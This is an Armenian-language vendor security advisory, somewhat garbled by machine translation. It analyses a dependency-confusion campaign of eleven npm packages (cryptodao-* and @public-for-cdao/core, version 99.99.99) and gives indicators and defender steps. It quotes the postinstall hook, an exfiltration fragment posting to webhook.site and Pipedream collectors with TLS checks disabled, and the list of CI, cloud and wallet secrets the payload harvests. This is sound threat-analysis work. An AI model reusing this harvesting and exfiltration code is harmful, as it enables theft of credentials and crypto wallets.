CryptoDAO-ի խառնաշփոթ. npm փաթեթների հավաքագրում CI/CD և կրիպտո գաղտնիքներ

CryptoDAO խառնաշփոթ. տասնմեկ npm փաթեթներ, մեկ օգտակար բեռ, հավաքում CI/CD և կրիպտո-դրամապանակների գաղտնիքները

TL. DR

2026-06-17-ին հրապարակվեց մեկ npm հաշիվ տասնմեկ փաթեթներ, որոնք կիսում են մեկ նպատակ և մեկ օգտակար բեռՆրանցից տասը կրում են cryptodao- նախածանց (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); տասնմեկերորդը շրջանակված է @public-for-cdao/coreԲոլորը հրապարակվել են տարբերակով 99.99.99 և ուղարկում է բայթ-նույնական recon.js որը շարունակվում է postinstall.

Անուններն են ամեն ինչ ասում։ Դրանք կարդացվում են ինչպես կրիպտո/DAO նախագծի մասնավոր գործիքաշարի ներքին կառուցվածքային բլոկները։ Հրապարակվելով հանրային npm գրանցամատյանում՝ արհեստականորեն բարձր տարբերակով, դրանք սպասում են կառուցմանը։ pipeline որը կարգավորված է այդ անունները լուծելու համար և որը հասնում է հանրային npm-ին մասնավոր գրանցամատյանից առաջ կամ դրա փոխարեն։ Սա է կախվածության խառնաշփոթ, և օգտակար բեռը ճշգրտվում է այնպես, ինչպես այն նախատեսում է վայրէջք կատարել։ CI/CD runners.

Երբ postinstall հրդեհներ, recon.js հավաքում է տանտիրոջ մանրամասները, կոպտորեն զննում է քառասուն ամպային, CI և կրիպտո դրամապանակի միջավայրի փոփոխականներ, կարդում է ցանկացած .env ֆայլեր, որոնք այն կարող է գտնել և բառացիորեն փոխանցել գաղտնի տողերը, ապա փաթեթը փոխանցում է երկու հավաքորդների՝ webhook.site և Pipedream վերջնակետ՝ TLS վկայագրի ստուգումն անջատված։ Պատճենը նույնպես գրված է ստորև։ /tmp.

Ծանրությունը ` բարձրԱզդված էկոհամակարգ՝ npmԳրության պահին բոլոր տասնմեկ փաթեթներն ակտիվ էին։

Հարձակման անատոմիա

Մեխանիզմն ունի չորս շարժվող մաս, և դրանցից ոչ մեկը աննկատելի չէ, երբ դուք գիտեք, որ Փաթեթի անվանումից մեկ շերտ անց նայեք։

1. Տարբերակի ուռճացումը որպես լուծողականի գայթակղություն։ Յուրաքանչյուր փաթեթ հայտարարում է տարբերակը 99.99.99Կախվածության շփոթմունքը գործում է, երբ փաթեթների կառավարիչը խնդրում է ներքին անունը, նաև ստուգում է հանրային գրանցամատյանը և ընտրում է դրա ամենաբարձր տարբերակը գտնում է։ npm-ի լռելյայն ընտրությունը կարետի կամ խմբային նշանի միջակայքի համար է ամենաբարձր բավարարող տարբերակը յուրաքանչյուր կարգավորված աղբյուրի համար. եթե երկուսն էլ մասնավոր են գրանցամատյանի և հանրային npm պատասխանի դեպքում նույն անվան համար հաղթում է ավելի մեծ տարբերակի համարը։ A 99.99.99 գերազանցում է նախագծի ցանկացած իրական ներքին տարբերակի վարկանիշը հասած է, ուստի մասնավոր աղբյուրին չկապված լուծիչը նախընտրում է հանրային՝ և այս դեպքում՝ թշնամական՝ պատճեն։ Օպերատորը պարտավոր չէ իմանալ Target-ի իրական տարբերակի թվերը. աբսուրդային առավելագույնի ընտրությունը միշտ երաշխավորում է ոչ-ոքի արդյունքը կոտրում է նրանց ճանապարհը։

2. Հետինստալյացիոն ձգան։ package.json միացնում է բեռը տեղադրմանը կյանքի ցիկլը:

{   "scripts": { "postinstall": "node recon.js" } }

Փաթեթի ներմուծումը պարտադիր չէ։ Պարզապես դրա տեղադրումը՝ որը CI է։ pipeline ավտոմատ կերպով է անում — աշխատում է recon.js.

3. Լայն գաղտնի ստուգում։ recon.js արդյունքների զանգվածը հավաքում է փուլերով՝

  • Հոսթի համատեքստ՝ հոսթի անուն, հարթակ և թողարկում, ճարտարապետություն, օգտատիրոջ անուն, աշխատանքային Հայաստան.
  • Միջավայրի փոփոխականներ. այն կրկնում է մոտ քառասուն անուններից և գրառումներից բաղկացած ֆիքսված ցանկը ցանկացած, որոնք սահմանված են։ Ցանկը բացահայտող է՝ այն զույգավորում է ընդհանուր CI տոկենները (CI_JOB_TOKEN, CI_ԳՐԱՆՑՄԱՆ_ԳԱՂՏՆԱԲԱՌ, GITLAB_ACCESS_TOKEN) և ամպ լիազորագրեր (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) գրանցամատյանի և կոնտեյներների գաղտնիքներով (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) և հստակ կրիպտո-համեմված կլաստեր։  PRIVATE_KEY, ՄՆԵՄՈՆԻԿ, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCԳրանցված արժեքները կրճատվում են մինչև առաջին 50 նիշերը։
  • .env ֆայլեր. այն ուսումնասիրում է ուղիների ցանկը — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, եւ .արտադրություն/.development տարբերակներ — և ցանկացած գոյություն ունեցող ֆայլի համար այն զտում է բովանդակությունը՝ համապատասխան տողերին համապատասխանեցնելով ԲԱՆԱԼԻ|Գաղտնի|Նշան|Անցում|Մասնավոր|Հիշողության կոդ և այդ տողերը **ամբողջությամբ, չկրճատված** ներմուծում է արդյունքների մեջ։
  • Build-host համատեքստ. այն թվարկում է առաջին 20 գրառումները /կառուցում է/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, եւ /տմփ/.

Ուղիների ցանկը և փոփոխականների ցանկը կշռված են GitLab-ի գործարկիչների նկատմամբ, ինչը նշանակում է բեռը ուղղակիորեն ինքնակառավարվող CI ենթակառուցվածքում է, այլ ոչ թե մշակողի մոտ նոութբուք։ Բերքահավաքի ցուցակը կատեգորիաների համաձայն խմբավորելը նախատեսված բեռնաթափումը դարձնում է պարզ.

կատեգորիա Փոփոխականներ / հասած ուղիներ
CI/CD ինքնություն և տեղակայում CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Ամպ AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Գրանցամատյան և կոնտեյներ NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Տվյալների պահեստներ DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Կրիպտո / բլոկչեյն PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Հաղորդագրություն SLACK_TOKEN, DISCORD_TOKEN
Սկավառակի վրա .env ընտանիք + /home/gitlab-runner/.env, /root/.env, /app/**/.env; տեղեկատուների ցանկեր /builds/, /var/lib/gitlab-runner/

Գաղտնաբառային կլաստերն այն մասն է, որը տարբերակում է սա ընդհանուր CI-գաղտնիքից։ մաքրում. դրամապանակի սկզբնական արտահայտությունները և ստորագրման բանալիները հայտնվում են միայն a-ի միջավայրում բլոկչեյն նախագիծ, և դրանք ուղղակիորեն կապված են կրիպտոդաո-/նշան/պայմանագրերը փոխադրողների անվանակարգում։

4. Կրկնակի արտահոսք՝ անջատված ստուգմամբ։ Հավաքված զանգվածը սերիականացված և POST-ացված երկու ուղղություններով՝

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

մերժելՉարտոնված՝ կեղծ անջատում է TLS վկայականի ստուգումները ելքային տվյալների համար զանգեր: Նույն տվյալները տպագրվում են stdout-ում (այնպես որ դրանք նաև հայտնվում են CI աշխատանքային գրանցամատյաններում) և գրված է /tmp/.npm_recon_ .jsonՍխալները լուռ կուլ են տրվում, ուստի Անհաջող ուղարկումը տեղադրման արդյունքում մեկից ավելի հետք չի թողնում [հետախուզություն] տեղադրված է line.

Ֆայլի առաջատար մեկնաբանություններից մեկը այն նկարագրում է որպես «Կախվածության խառնաշփոթ» Հետախուզական ծանրաբեռնվածություն»: Միջավայրի արժեքների կրճատումը մինչև 50 նիշ է հայեցակարգի ապացույցի ձևը։ Այն տեղափոխում է միայն ներկայության ազդանշանի ցուցիչից այն կողմ, .env մշակում. գաղտնի կրող գծերը վերահասցեագրվում են ամբողջությամբ, իսկ նպատակակետերը երկու աշխատող, հարձակվողների կողմից վերահսկվող հավաքորդներ են, այլ ոչ թե միայն հաշվվող լվացարան հիթեր

Խրոնոլոգիա

Հրապարակման ձևը մեկ սցենարային հրման ստորագրությունն է, այլ ոչ թե տասնմեկը անկախ ներբեռնումներ։

Ժամանակ (UTC, 2026-06-17) իրադարձություն
03:24:58 cryptodao-bot@99.99.99 լույս
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — հետազոտված տարբերակ, մոտ 24 րոպե անց

29 վայրկյանի ընթացքում տասը փաթեթ ուղարկվեց, մոտավորապես մեկը՝ յուրաքանչյուր երեք վայրկյանը մեկ։ Մասնագիտական @public-for-cdao/core հաջորդեց մոտ 24 րոպե անց՝ մեկ վայրկյան նույն թիրախի անվանակոչման կոնվենցիա, եթե սպառող նախագիծը հղում է կատարում ներքին գործիքակազմը շրջանակի ներքո, այլ ոչ թե որպես մերկ անուններ։

Փոխզիջման ցուցիչներ

Տիպ Ցուցիչ
Կոլեկցիոներ hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Կոլեկցիոներ hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Տեղադրեք կեռիկը postinstall: node recon.js
Ֆայլը գցված է /tmp/.npm_recon_<timestamp>.json
Գրանցամատյանի նշիչ [recon] <pkg>@<ver> installed on <hostname> (stdout CI գրանցամատյաններում)
Վախեցնող rejectUnauthorized: false տեղադրման ընթացքում ելքային HTTPS-ի վրա
Payload recon.js, նույնական է բոլոր տասնմեկ փաթեթներում (մեկ համատեղ կառուցում)
տարբերակ 99.99.99 յուրաքանչյուր փաթեթի վրա
Փաթեթներ cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (բոլորը 99.99.99)
Հրատարակիչ aduljune / aduljune@proton.me (էլ. փոստը չհաստատված է, հղումով աղբյուրի պահոց չկա)

 Վերագրում և դիտարկվող վարքագիծ

Կլաստերի մասին ամեն ինչ մատնանշում է մեկ ձեռքը։ Բոլոր տասնմեկ փաթեթները հրապարակվել են։ npm հաշվի միջոցով ադուլջուն (aduljune@proton.me, չհաստատված հասցե՝ առանց կապված աղբյուրի պահոց), 25 րոպեի ընթացքում, միաժամանակ 99.99.99 վարկած առաքում recon.js որի պարունակությունը բայթ առ բայթ նույնական է բոլոր փաթեթ (MD5-ը համընկնում է բոլոր տասնմեկ արդյունահանված պատճենների հետ): Դա մեկ օգտակար բեռ է դրոշմված անունների ցանկի վրա, այլ ոչ թե անկախ կոդի վերօգտագործում։

Անվանացանկը սահմանում է նախատեսված թիրախը։ կրիպտոդաո-* և cdao նկարագրել կրիպտո/DAO նախագծի մասնավոր մոդուլի դասավորությունը և օգտակար բեռի հավաքման ցանկը հայելիներ, որոնք կռահում են. ընդհանուր CI-ի և ամպային գաղտնիքների հետ մեկտեղ, այն հատուկ ձեռքը մեկնում է PRIVATE_KEY, ՄՆԵՄՈՆԻԿ, SEED_PHRASEև Ethereum/BSC RPC-ն, և մատակարարի բանալիներ։ .env որոնման ուղիները և գրացուցակների ցանկերը GitLab-runner-ներ են կոնկրետ։ Դիտարկվող ազդեցությունն այն է, որ ցանկացած pipeline խաբեությամբ տեղադրեցին սրանք անունները կուղարկեին իր CI տոկենները, ամպային բանալիները և սկավառակի վրա պահվողները .env գաղտնիքներ — և, դրա համար բլոկչեյն նախագիծ, դրա դրամապանակի նյութը՝ երկու երրորդ կողմի հավաքորդների։

Մենք որևէ պնդում չենք անում այն ​​մասին, թե ով է շահագործում հաշիվը կամ ինչ են նրանք նախատեսել անել դրա հետ։ տվյալներ։ Փաստերը, որոնք ինքնուրույն են. անունները ուղղված են որոշակի տեսակի ներքին գործիքակազմ, օգտակար բեռը կարդում և փոխանցում է իրական գաղտնի արժեքներ, և ենթակառուցվածքը գործարկվեց։

Ազդեցությունը, միտումները և պաշտպանների ուղեցույցը

Կախվածության շփոթություն մնում է արդյունավետ, քանի որ այն շահագործում է լուծիչի վարքագիծը, այլ ոչ թե խոցելիություն ցանկացած փաթեթում։ Այստեղ փոխադրողը չնչին է՝ տասնմեկը գրեթե դատարկ փաթեթներ, բայց պայթյունի շառավիղը անկախ է pipeline սխալմամբ նախընտրում է հանրային npm-ը ներքին անվան համար։ CI վազորդները դրա համար ամենավատ տեղն են. նրանք պահում են հենց նշանները և .env ֆայլերը, որոնք այս բեռնվածքը կարդում է, և դրանք տեղադրում են կախվածությունները ոչ ինտերակտիվ են, ուստի հետինստալյացիա վազում է առանց որևէ մեկի նայելու։

Այս կլաստերը նաև համապատասխանում է այն օրինաչափությանը, որը մենք անընդհատ տեսնում ենք. տեղադրման ժամանակի բեռներ, որոնք ներկայացնում են որպես «հետազոտություն» կամ «հետախուզություն», մինչդեռ իրական վկայականների հավաքագրում էին կատարում։ Պիտակը ֆայլում չի փոխում կոդի գործողությունները վազորդի վրա։ Երկու դիզայնի տարբերակները պահպանվում են ակտիվությունը լռում է. ցանցի և ֆայլային համակարգի յուրաքանչյուր գործողություն փաթեթավորված է բացառությունների մշակիչ, որը մերժում է սխալները, այսինքն՝ արգելափակված ուղարկումը կամ բացակայող ֆայլը ախտորոշիչ արդյունք չի տալիս, և միակ տպված բանը մեկ անվնաս նյութ է [վերահաստատում] … տեղադրված է տող, որը միաձուլվում է տեղադրման սովորական զրույցի հետ։ Օգտագործումը webhook.site և Pipedream-ը նույնպես դիտավորյալ հարմարություն է՝ երկուսն էլ անվճար են, անմիջապես տրամադրված հարցումների գրանցման ծառայություններ, ուստի օպերատորը սերվերների կարիք չունի իրենց սեփականը, և նպատակակետերը ելքի գրանցամատյաններում նման են սովորական SaaS հոսթնվանների։

Տնտեսական կողմն է սա դարձնում պաշտպանի ուշադրության արժանի, չնայած կրիչի կոդը պարզ է։ Տասնմեկ անունների գրանցումը ոչինչ չարժի, օգտակար բեռը մեկն է։ ֆայլը պատճենվեց տասնմեկ անգամ, և փաթեթների կառավարիչը կատարում է ամբողջ կատարումը: Մեկ սխալ կարգավորված pipeline ամենուր, որտեղ օգտագործվում են այս անուններից մեկը, վճարում է ամբողջի համար գործողությունը:

Կոնկրետ քայլեր պաշտպանների համար.

  • Ներքին շրջանակները ամրացրեք ձեր անձնական գրանցամատյանին։ Կարգավորեք npm-ը ներքին անունների համար
     և շրջանակները լուծում են միայն ձեր գրանցամատյանի հետ (scoped .npmrc գրանցամատյանի մապինգներ,
    կամ պրոքսի, որը երբեք չի անցնում հանրային npm-ի հասանելիությունից՝ սեփական անվանատարածքների համար): Պահպանեք ձեր հանրային տիրույթի անունները, որպեսզի ոչ ոք չկարողանա գրանցել դրանք:
  • Commit կողպել ֆայլերը և տեղադրել –ignore-scripts-ով CI-ում որտեղ հնարավոր է, կամ Ստուգեք կախվածությունների փոքր խումբը, որոնք իսկապես տեղադրման սկրիպտների կարիք ունեն։  recon.js-ը չի կարող գործարկվել, եթե հետինստալյացիա չի կատարվում։
  • Վերաբերվեք ներքին տեսք ունեցող անվան 99.99.99 (կամ այլ աբսուրդային բարձր) տարբերակին որպես կարմիր դրոշ կախվածության վերանայման և գրանցամատյանի մոնիթորինգի մեջ։
  • Զգուշացում տեղադրման ժամանակ ավարտի մասին։ A հետինստալյացիա որը բացում է ելքային HTTPS կապը, հատկապես վկայականի ստուգումն անջատված լինելու դեպքում՝ դեպի webhook.site, Pipedream կամ նմանատիպ հարցումների գրանցման ծառայությունները արժե արգելափակել ցանցի եզրին և նշել կառուցման գրանցամատյաններում։
  • Որսացեք արտեֆակտների համար։ Ստուգեք վազորդներին /tmp/.npm_recon_*.json եւ համար [վերահաստատում] … տեղադրված է … նշիչի վրա վերջին CI գրանցամատյաններում։ Եթե գտնվի, պտտեք ամեն դրան ենթարկված հավատարմագրերը pipeline — CI տոկեններ, ամպային բանալիներ, գրանցամատյանի տոկեններ և միջավայրում կամ .env ֆայլերում առկա ցանկացած դրամապանակի սերմեր կամ մասնավոր բանալիներ։

Սայլակ

Գրության պահին այս կլաստերի վերաբերյալ արտաքին հաշվետվություն գոյություն չուներ։ Վերլուծությունը վերը նշվածը ուղղակիորեն հիմնված է հրապարակված փաթեթի բովանդակության վրա

sca-tools-software-composition-analysis-tools
Առաջնահերթություն տվեք, շտկեք և պաշտպանեք ձեր ծրագրային ռիսկերը
Ստացեք ձեր անվճար հաշիվը։
Ոչ մի վարկային քարտ չի պահանջվում:

Ապահովեք ձեր ծրագրային ապահովման մշակումը և մատակարարումը

Xygeni Product Suite-ի հետ